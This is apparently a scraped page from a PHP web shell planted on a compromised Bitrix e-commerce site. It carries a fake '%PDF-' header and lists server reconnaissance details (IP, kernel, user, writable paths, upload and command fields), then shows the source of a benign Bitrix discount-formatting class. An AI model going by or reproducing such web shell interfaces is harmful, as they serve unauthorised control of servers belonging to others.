%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.144.42.205
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/discount/result/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/discount/result/compatibleformat.php
<?php
namespace Bitrix\Sale\Discount\Result;

use Bitrix\Main\Localization\Loc,
	Bitrix\Sale\Discount;

Loc::loadMessages(__FILE__);

final class CompatibleFormat
{
	/**
	 * Create simple description for unknown discount.
	 *
	 * @param float $newPrice			New price.
	 * @param float $oldPrice			Old price.
	 * @param string $currency			Currency.
	 * @return array
	 */
	public static function createResultDescription($newPrice, $oldPrice, $currency)
	{
		return array(
			Discount\Formatter::prepareRow(
				Discount\Formatter::TYPE_VALUE,
				array(
					'VALUE_TYPE' => Discount\Formatter::VALUE_TYPE_CURRENCY,
					'VALUE' => abs($oldPrice - $newPrice),
					'VALUE_UNIT' => $currency,
					'VALUE_ACTION' => (
						$oldPrice > $newPrice
						? Discount\Formatter::VALUE_ACTION_DISCOUNT
						: Discount\Formatter::VALUE_ACTION_EXTRA
					)
				)
			)
		);
	}

	/**
	 * Returns result after apply one discount in old format.
	 *
	 * @param array $currentOrder			Current order data.
	 * @param array $oldOrder				Old order data.
	 * @return array
	 */
	public static function getStepResult(array $currentOrder, array $oldOrder)
	{
		$result = array();
		if (isset($oldOrder['PRICE_DELIVERY']) && isset($currentOrder['PRICE_DELIVERY']))
		{
			if ($oldOrder['PRICE_DELIVERY'] != $currentOrder['PRICE_DELIVERY'])
			{
				$descr = self::createResultDescription(
					$currentOrder['PRICE_DELIVERY'],
					$oldOrder['PRICE_DELIVERY'],
					$oldOrder['CURRENCY']
				);
				$result['DELIVERY'] = array(
					'APPLY' => 'Y',
					'DELIVERY_ID' => (isset($currentOrder['DELIVERY_ID']) ? $currentOrder['DELIVERY_ID'] : false),
					'SHIPMENT_CODE' => (isset($currentOrder['SHIPMENT_CODE']) ? $currentOrder['SHIPMENT_CODE'] : false),
					'DESCR' => implode(', ', Discount\Formatter::formatList($descr)),
					'DESCR_DATA' => $descr
				);
				unset($descr);
			}
		}
		if (!empty($oldOrder['BASKET_ITEMS']) && !empty($currentOrder['BASKET_ITEMS']))
		{
			foreach ($oldOrder['BASKET_ITEMS'] as $basketCode => $item)
			{
				if (!isset($currentOrder['BASKET_ITEMS'][$basketCode]))
					continue;
				if ($item['PRICE'] != $currentOrder['BASKET_ITEMS'][$basketCode]['PRICE'])
				{
					if (!isset($result['BASKET']))
						$result['BASKET'] = array();
					$descr = self::createResultDescription(
						$currentOrder['BASKET_ITEMS'][$basketCode]['PRICE'],
						$item['PRICE'],
						$oldOrder['CURRENCY']
					);
					$result['BASKET'][$basketCode] = array(
						'APPLY' => 'Y',
						'DESCR' => implode(', ', Discount\Formatter::formatList($descr)),
						'DESCR_DATA' => $descr,
						'MODULE' => $currentOrder['BASKET_ITEMS'][$basketCode]['MODULE'],
						'PRODUCT_ID' => $currentOrder['BASKET_ITEMS'][$basketCode]['PRODUCT_ID'],
						'BASKET_ID' => (
							isset($currentOrder['BASKET_ITEMS'][$basketCode]['ID'])
							? $currentOrder['BASKET_ITEMS'][$basketCode]['ID']
							: $basketCode
						)
					);
					unset($descr);
				}
			}
		}
		return $result;
	}

	/**
	 * Returns description for old discount.
	 *
	 * @param array $stepResult		Action results.
	 * @return array
	 */
	public static function getDiscountDescription(array $stepResult)
	{
		$result = array();
		if (!empty($stepResult['BASKET']))
		{
			$result['BASKET'] = array(
				0 => Discount\Formatter::prepareRow(
					Discount\Formatter::TYPE_SIMPLE,
					Loc::getMessage('BX_SALE_DISCOUNT_MESS_SIMPLE_DESCRIPTION_BASKET')
				)
			);
		}
		if (!empty($stepResult['DELIVERY']))
		{
			$result['DELIVERY'] = array(
				0 => Discount\Formatter::prepareRow(
					Discount\Formatter::TYPE_SIMPLE,
					Loc::getMessage('BX_SALE_DISCOUNT_MESS_SIMPLE_DESCRIPTION_DELIVERY')
				)
			);
		}
		if (empty($result))
		{
			$result['BASKET'] = array(
				0 => Discount\Formatter::prepareRow(
					Discount\Formatter::TYPE_SIMPLE,
					Loc::getMessage('BX_SALE_DISCOUNT_MESS_SIMPLE_DESCRIPTION_UNKNOWN')
				)
			);
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit